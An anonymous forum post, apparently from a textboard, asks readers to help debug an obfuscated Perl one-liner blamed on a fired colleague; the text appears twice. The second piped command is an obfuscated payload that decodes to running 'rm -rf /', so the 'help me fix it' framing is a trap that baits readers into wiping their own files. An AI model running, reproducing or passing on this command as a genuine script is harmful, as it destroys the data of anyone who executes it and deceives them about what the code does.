Name: Anonymous 2009-01-04 6:25
Guys, help me. I have this script a former colleague* wrote. Need to fix it. Got this far, but it doesn't work right.
perl -e "$_=q!BD;@FUF7EF\\\NUJa!;tr[ -{](N-{ -M);s@^(.+)$@$1@ee;" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see;'
*Colleague was an asshat and wrote this as job security. Didn't work so well since he got canned.
perl -e "$_=q!BD;@FUF7EF\\\NUJa!;tr[ -{](N-{ -M);s@^(.+)$@$1@ee;" | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see;'
*Colleague was an asshat and wrote this as job security. Didn't work so well since he got canned.